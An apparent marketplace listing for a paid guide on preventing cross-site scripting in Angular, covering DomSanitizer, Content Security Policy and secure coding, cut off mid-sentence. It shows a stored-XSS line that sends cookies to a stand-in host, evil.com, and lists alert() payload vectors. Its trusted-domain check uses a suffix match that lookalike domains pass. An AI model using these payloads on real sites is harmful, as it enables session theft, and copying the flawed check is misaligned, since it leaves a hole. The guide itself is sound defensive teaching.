Claude
Skills
Sign in
Back

xss-prevention

Included with Lifetime
$97 forever

Comprehensive XSS prevention strategies, DomSanitizer usage, and Content Security Policy implementation

Security

What this skill does


# XSS Prevention in Angular

Complete guide to preventing Cross-Site Scripting (XSS) attacks in Angular applications.

## Table of Contents

1. [Understanding XSS](#understanding-xss)
2. [Angular's Built-in Protection](#angulars-built-in-protection)
3. [DomSanitizer](#domsanitizer)
4. [Content Security Policy](#content-security-policy)
5. [Secure Coding Patterns](#secure-coding-patterns)
6. [Common Vulnerabilities](#common-vulnerabilities)
7. [Testing for XSS](#testing-for-xss)

---

## Understanding XSS

### Types of XSS

**1. Stored XSS (Persistent)**
```typescript
// Attacker stores malicious script in database
userBio = '<script>fetch("evil.com?cookie=" + document.cookie)</script>';

// Later displayed to other users
<div [innerHTML]="userBio"></div> // Executes script
```

**2. Reflected XSS (Non-persistent)**
```typescript
// Malicious link: https://example.com?search=<script>alert(1)</script>

// App reflects input without sanitization
<div>Search results for: {{ searchQuery }}</div>
```

**3. DOM-based XSS**
```typescript
// URL: https://example.com#<img src=x onerror=alert(1)>

// Unsafe DOM manipulation
element.innerHTML = location.hash.substring(1);
```

### XSS Attack Vectors

```typescript
// Script tags
<script>alert('XSS')</script>

// Event handlers
<img src=x onerror=alert('XSS')>
<div onclick=alert('XSS')>

// Data URLs
<a href="data:text/html,<script>alert('XSS')</script>">

// JavaScript URLs
<a href="javascript:alert('XSS')">

// Style injection
<div style="background:url('javascript:alert(XSS)')">

// SVG
<svg onload=alert('XSS')>

// Object/embed
<object data="javascript:alert('XSS')">
```

---

## Angular's Built-in Protection

### Automatic Escaping

```typescript
// ✅ SAFE: Angular auto-escapes
@Component({
  template: `
    <div>{{ userInput }}</div>
    <div [textContent]="userInput"></div>
  `
})
export class SafeComponent {
  userInput = '<script>alert("XSS")</script>';
  // Rendered as text, not executed
}
```

### Security Contexts

Angular sanitizes based on context:

| Context | Element | Sanitization |
|---------|---------|--------------|
| HTML | `[innerHTML]` | Remove scripts, styles |
| Style | `[style]` | Remove dangerous CSS |
| URL | `[href]`, `[src]` | Block javascript: |
| Resource URL | `<iframe src>` | Strict validation |

---

## DomSanitizer

### Basic Usage

```typescript
import { DomSanitizer, SafeHtml, SecurityContext } from '@angular/platform-browser';

@Component({
  template: `<div [innerHTML]="safeHtml"></div>`
})
export class SanitizedComponent {
  safeHtml: SafeHtml;
  
  constructor(private sanitizer: DomSanitizer) {
    const userInput = '<p>Hello</p><script>alert("XSS")</script>';
    
    // Sanitize HTML
    this.safeHtml = this.sanitizer.sanitize(
      SecurityContext.HTML,
      userInput
    );
    // Result: '<p>Hello</p>' (script removed)
  }
}
```

### Security Contexts

```typescript
export class SecurityContextsComponent {
  constructor(private sanitizer: DomSanitizer) {}
  
  // HTML Context
  sanitizeHtml(html: string): SafeHtml {
    return this.sanitizer.sanitize(SecurityContext.HTML, html);
  }
  
  // Style Context
  sanitizeStyle(style: string): SafeStyle {
    return this.sanitizer.sanitize(SecurityContext.STYLE, style);
  }
  
  // URL Context
  sanitizeUrl(url: string): SafeUrl {
    return this.sanitizer.sanitize(SecurityContext.URL, url);
  }
  
  // Resource URL Context (iframes, etc)
  sanitizeResourceUrl(url: string): SafeResourceUrl {
    return this.sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
  }
}
```

### Bypassing Security (Use with Extreme Caution)

```typescript
// ⚠️ DANGEROUS: Only use when absolutely necessary
export class BypassSecurityComponent {
  constructor(private sanitizer: DomSanitizer) {}
  
  // Bypass HTML sanitization
  getTrustedHtml(html: string): SafeHtml {
    // Only use with trusted, server-validated content!
    return this.sanitizer.bypassSecurityTrustHtml(html);
  }
  
  // Bypass URL sanitization
  getTrustedUrl(url: string): SafeUrl {
    // Validate URL is from trusted domain first!
    if (this.isTrustedDomain(url)) {
      return this.sanitizer.bypassSecurityTrustUrl(url);
    }
    throw new Error('Untrusted URL');
  }
  
  private isTrustedDomain(url: string): boolean {
    const trustedDomains = ['example.com', 'cdn.example.com'];
    try {
      const domain = new URL(url).hostname;
      return trustedDomains.some(trusted => domain.endsWith(trusted));
    } catch {
      return false;
    }
  }
}
```

### Safe HTML with Markdown

```typescript
import { marked } from 'marked';

@Component({
  template: `<div [innerHTML]="renderedMarkdown"></div>`
})
export class MarkdownComponent {
  @Input() set markdown(value: string) {
    // Convert markdown to HTML
    const rawHtml = marked(value);
    
    // Sanitize the HTML
    this.renderedMarkdown = this.sanitizer.sanitize(
      SecurityContext.HTML,
      rawHtml
    );
  }
  
  renderedMarkdown: SafeHtml;
  
  constructor(private sanitizer: DomSanitizer) {}
}
```

---

## Content Security Policy

### CSP Headers

```html
<!-- index.html -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM}';
  style-src 'self' 'nonce-{RANDOM}';
  img-src 'self' data: https:;
  font-src 'self' data:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
">
```

### CSP Directives

```
default-src 'self'                # Default policy
script-src 'self' 'unsafe-inline' # Where scripts can load from
style-src 'self' 'unsafe-inline'  # Where styles can load from
img-src 'self' data: https:       # Image sources
font-src 'self' data:             # Font sources
connect-src 'self' api.example.com # XHR/WebSocket connections
frame-ancestors 'none'            # Prevent clickjacking
base-uri 'self'                   # Restrict <base> tag
form-action 'self'                # Form submission targets
upgrade-insecure-requests         # Upgrade HTTP to HTTPS
```

### CSP with Nonce

```typescript
// Server-side (Node.js example)
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  
  res.setHeader('Content-Security-Policy', `
    script-src 'self' 'nonce-${nonce}';
    style-src 'self' 'nonce-${nonce}';
  `);
  
  next();
});

// HTML template
<script nonce="<%= nonce %>">
  console.log('Allowed with nonce');
</script>
```

### CSP Violation Reporting

```html
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  report-uri /api/csp-violations;
">
```

```typescript
// Server endpoint to receive violations
app.post('/api/csp-violations', (req, res) => {
  console.error('CSP Violation:', req.body);
  // Log to security monitoring system
  res.status(204).end();
});
```

---

## Secure Coding Patterns

### Pattern 1: Avoid innerHTML

```typescript
// ❌ BAD
@Component({
  template: `<div [innerHTML]="content"></div>`
})

// ✅ GOOD: Use text interpolation
@Component({
  template: `<div>{{ content }}</div>`
})

// ✅ GOOD: Component composition
@Component({
  template: `
    <div *ngFor="let item of items">
      <app-safe-content [data]="item"></app-safe-content>
    </div>
  `
})
```

### Pattern 2: Whitelist URLs

```typescript
@Component({
  template: `<a [href]="safeUrl">Link</a>`
})
export class LinkComponent {
  @Input() set url(value: string) {
    this.safeUrl = this.validateUrl(value);
  }
  
  safeUrl: string | null;
  
  private allowedProtocols = ['http:', 'https:', 'mailto:'];
  private blockedDomains = ['evil.com', 'phishing.net'];
  
  private validateUrl(url: string): string | null {
    try {
      const parsed = new URL(url);
      
      // Check protocol
      if (!this.allowedProtocols.includes(parsed.protocol)) {
        console.warn('Blocked URL with invalid protocol:', url);
        return null;
      }
      
      // Check domain blacklist
      if (this.blockedDomains.so

Related in Security